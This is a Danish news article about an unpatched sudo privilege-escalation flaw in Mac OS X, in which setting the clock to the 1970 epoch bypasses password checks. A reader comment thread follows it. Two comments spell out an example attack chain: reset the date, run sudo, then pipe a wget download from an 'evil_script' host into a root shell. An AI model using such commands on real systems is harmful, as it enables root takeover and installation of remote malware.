Apple ignorerer Unix-hul i OS X i seks måneder

En simpel Unix-kommando kan give uvedkommende administratorrettigheder på Mac OS X. Selvom Unix-hullet blev lappet i februar, har Apple endnu ikke opdateret OS X.

Et sikkerhedshul i Unix giver problemer for Mac-ejere, der kører styresystemet Mac OS X.

Selvom Unix-hullet blev opdaget og lappet i februar 2013, rapporterer it-sikkerhedsfirmaet Sophos på sin blog Naked Security, at Apple endnu ikke har udsendt en patch til virksomhedens Unix-baserede styresystem.

Hullet ligger i kommandoen ‘sudo’, der bruges af systemadministratorer på Unix-systemer, og som gør det muligt at ændre brugerprivilegier, så man kan køre kommandoer på en anden brugers vegne. Blandt andet kan den give adgang til den almægtige ‘root’-bruger.

For nylig har folkene bag penetrationsværktøjet Metasploit offentliggjort et modul, som målrettet kan udnytte denne svaghed til at bryde ind i OS X-systemer, der ikke manuelt er blevet opdateret med patchen. Det kræver dog, at man har fysisk adgang til den sårbare Apple-maskine.

Sudo er beskyttet med password, men har en sessionslevetid på fem minutter, hvor administratoren af bekvemmelighedsårsager ikke behøver at indtaste sit kodeord, hvis der skal foretages flere ændringer på én gang. Administratorens login-tidspunkt registreres med tid og dato i en lokal database.

Hvis en administrator bliver færdig inden for fem minutters grænsen og ønsker at lukke sessionen, sker det ved, at login-tidspunktet i databasen ændres til midnat den 1. januar, 1970, også kendt som begyndelsen af ‘Epoch’ - Unix-systemers tidangivelse målt i sekunder efter denne dato.

Årsagen er, at ‘sudo’ skal kunne genkende tilbagevendende administratorer, så sletning af database-opslaget nytter ikke. Samtidig skal ‘sudo’ også være sikker på, at det er mere end fem minutter siden, brugeren sidst var logget på.

Problemet er, at autentificeringsproceduren hviler på, at systemets lokale ur og dato er indstillet korrekt, og i Mac OS X kan dette nemt ændres i systemindstillingerne uden nødvendigvis at indtaste et administratorpassword.

Sudo vil derfor se en bruger, med en kunstig Epoch-tid lavere end 300 (5*60s), som den tidligere administrator, der stadig er i gang med at foretage ændringer inden for fem minutters grænsen.

Den seneste statistik fra FDIM opgør andelen af danske OS X-brugere til 11,5 procent af alle besøgende på landets mest populære hjemmesider.

Tips og korrekturforslag til denne historie sendes til tip@version2.dk
Kommentarer (20)
sortSortér kommentarer
  • Ældste først
  • Nyeste først
  • Bedste først
#1 Lars Lundin

De fleste Mac-maskiner har een bruger-konto.

Det værdifulde på sådan en maskine er data under denne brugerkonto.

Med denne sudo-sårbarhed kan man så derudover slette styresystemet, som i modsætning til bruger-data nemt kan genskabes, og ikke kan misbruges.

Et remote-exploit vil være en anden sag.

  • 10
  • 13
#2 Mads H. Danquah

Udnyttelse kræver sandsynligvis at brugeren selv kører noget ondsindet kode. Problemet er at koden vha af denne exploit kan få eskaleret sig selv til at være privilegeret uden brugerens indvirken og derefter kan hvad som helst kan ske.

Den store guldgrube ligger ikke nødvendigvis i data, men kan lige så vel ligge i de tjenester brugeren tilgår. Med kode der kører som root på brugeren maskine har en ondsindet person ret godt fat i hvad han/hun skulle finde på at tilgå.

  • 13
  • 0
#5 Leif Neland

"Det kræver dog, at man har fysisk adgang til den sårbare Apple-maskine."

Har man fysisk adgang til maskinen, så er "all bets off", man kan så vælge at boote på et andet medie eller tage harddisken over i en anden maskine.

Jeg ser ikke det store problem.

  • 7
  • 6
#6 Adam Tulinius

Har man fysisk adgang til maskinen, så er "all bets off", man kan så vælge at boote på et andet medie eller tage harddisken over i en anden maskine.

Jeg ser ikke det store problem.

Men hvorfor kræver fejlen fysisk adgang, hvis det blot er et spørgsmål om at spille uret -- det må man da kunne gøre med et stykke malware af en art. Derfor må problemet være at denne fejl kan bruges af malware til at opgradere brugerrettighederne til dem af roots.

  • 6
  • 0
#8 Lasse Hillerøe Petersen

Jeg er ikke Mac-bruger (længere), men jeg vil gætte på, at man kan stille tiden som almindelig bruger i et kontrolpanel (som så kører noget som root), og da selve systeminterfacet kræver root-rettigheder for at ændre tiden, er det kun gennem kontrolpanelet det er muligt for en normal bruger, så derfor kan det ikke udnyttes remote, med mindre man kan få remote adgang til brugergrænsefladen.

  • 1
  • 6
#9 Claus Jacobsen

Adam Du er windows bruger ikke? - så er du ikke vant til at der er noget der hedder rettigheder. Det er først begyndt at dukke op i vista (UAC) men det betyder i høj grad at INGEN alm brugere er admins - du kan ikke have en profil der er admin som i windows - og derfor er der restriktioner på alt hvad der pilles ved i systemet. For at kunne lave vitale ændringer i systemet kræves der derfor et administrator password, og jo man kunne nok godt få fat i det med et stykke malware - men en Unix-baseret maskine er ikke sådan bare lige at få lov at lege på uden man sidder foran den og giver lov til det. Alle applikationer er primært lavet til at køre i userspace uden brug af admin rettigheder og derfor ser man bare ikke de store "udnyttelser" fordi du SKAL have fat i et adm pass - selv for at opdatere en maskine med patches. Der er ingen bruger der kan opgraderes til admin - du kan udføre kommandoer med admin-rettigheder - det er i bund og grund det sudo gør. Der er ingen "blivende" admin rettigheder i OSX/Unix som sådan som man ser det i MS-verdenen.

  • 2
  • 3
#10 Bjarke I. Pedersen

Der er ingen "blivende" admin rettigheder i OSX/Unix som sådan som man ser det i MS-verdenen.

Nu bliver jeg lidt nysgerrig - hvordan er det du får blivende admin rettigheder som en normal bruger i Windows Vista og fremefter?

UAC spørger om et program skal køres med admin rettigheder (hvis programmet efterspørger det) - det ændrer ikke hele brugerens session til at køre som admin...

  • 1
  • 1
#11 Lars Lundin
  • 4
  • 1
#12 Lars Lundin
  • 0
  • 3
#15 Uffe Seerup

Så har man alligevel låst systemindstillingerne,så det er en ret pseudo "sikkerhedsrisiko"...

Husker du Flashback? Dér hvor 600,000 OS X brugere blev ramt af malware. Forestil dig nu at Flashback satte tiden tilbage og udførte "sudo bash" eller lignende.

Men det er sikkert ikke noget problem, for alle de 600.000 brugere var sikkert paranoid og havde låst systemindstillingerne.

  • 4
  • 2
#16 Lars Lundin

Dér hvor 600,000 OS X brugere blev ramt af malware.

OK, så når de 600000 OS X brugere har fået stjålet deres online identiteter, deres disk + båndbredde er misbrugt til distribution af børneporno + DDOS og deres lokale data er slettet eller på anden måde misbrugt, hvor meget værre kan det så blive ?

På det tidspunkt er det nok ikke så meget værre, hvis de dertil skal geninstallere styresystemet.

  • 2
  • 2
#17 Adam Tulinius

Adam Du er windows bruger ikke? - så er du ikke vant til at der er noget der hedder rettigheder. Det er først begyndt at dukke op i vista (UAC) men det betyder i høj grad at INGEN alm brugere er admins - du kan ikke have en profil der er admin som i windows - og derfor er der restriktioner på alt hvad der pilles ved i systemet. For at kunne lave vitale ændringer i systemet kræves der derfor et administrator password, og jo man kunne nok godt få fat i det med et stykke malware - men en Unix-baseret maskine er ikke sådan bare lige at få lov at lege på uden man sidder foran den og giver lov til det. Alle applikationer er primært lavet til at køre i userspace uden brug af admin rettigheder og derfor ser man bare ikke de store "udnyttelser" fordi du SKAL have fat i et adm pass - selv for at opdatere en maskine med patches. Der er ingen bruger der kan opgraderes til admin - du kan udføre kommandoer med admin-rettigheder - det er i bund og grund det sudo gør. Der er ingen "blivende" admin rettigheder i OSX/Unix som sådan som man ser det i MS-verdenen.

Jeg kan ikke finde ud af om jeg skal svare sarkastisk og fjollet på din kommentar, eller være saglig og udpege en række problemer med dit svar.

Anyways, alle mennesker har vel en windows-maskine i hærheden, evt. hos moster Anna, så jo, jeg er sikkert Windows bruger.

On topic! Faktisk var jeg så grundig at jeg tjekkede OSXs system preferences før jeg skrev mit indlæg. Hvis man har lavet ændringer, og ikke klikket på hængelås-ikonet, så kan man lave ændringer indtil man beslutter sig for at klikke på hængelåsen. Derfor mener jeg det må være en fair antagelse at man (evt. v.h.a. AppleScript) kan ændre datoen på maskiner, hvor hængelåsen ikke er aktiveret, fra et script og uden at bruge password.

(Til gengæld, hvis man er så forsigtig at klikke på hængelåsen efter at have lavet ændringer, er denne bug formentlig slet ikke mulig at benytte sig af.)

  • 2
  • 2
#19 Dennis Rilorin

(Til gengæld, hvis man er så forsigtig at klikke på hængelåsen efter at have lavet ændringer, er denne bug formentlig slet ikke mulig at benytte sig af.)

Hvis jeg ville programmere noget malware ville jeg tro at jeg ville foretrække at udføre kommandoer istedet for at "klikke" på nogetsomhelst. F.eks. ville jeg eksekvere følgende kommandoer: systemsetup -setdate 01:01:1970 sudo bash wget http://evil_script_installing_malware_or_spyware_or_both_and_leaves_it_r... -O - | sh

Jeg ville nok forfine det lidt og bruge et script lokaliseret et lidt mere anonymt sted. Dette skal så gemmes ind i en serverside scripted side som bliver eksekveret i en browser på den fysiske maskine.

Disclaimer: Jeg ved ikke om det i OSX er muligt at udføre ovenstående systemsetup kommando uden sudo, eller om man SKAL igennem hængelåsikonet, da jeg ikke er Mac bruger. Dette er resultatet af 5 mins google lookups og er kun ment som et eksempel.

  • 1
  • 0
#20 Adam Tulinius

Hvis jeg ville programmere noget malware ville jeg tro at jeg ville foretrække at udføre kommandoer istedet for at "klikke" på nogetsomhelst.

Jeg foreslog aldrig at automatisere det at klikke på hængelåsen. Vær nu sød at læse hvad jeg skriver.

En bruger af OSX skal selv, efter han har ændret i system indstillingerne, tage stilling til om han vil låse for fremtidige ændringer. Vælger han ikke at låse for noget, antager jeg at man (som allerede nævnt, evt. v.h.a. AppleScript) kan ændre dag- og klokkeslet uden at blive bedt om adgangskode.

sudo bash

hvad med sudo -i? Følgende virker sikkert også: wget http://evil_script_installing_malware_or_spyware_or_both_and_leaves_it_r... -O - | sudo sh

  • 0
  • 0
Log ind eller Opret konto for at kommentere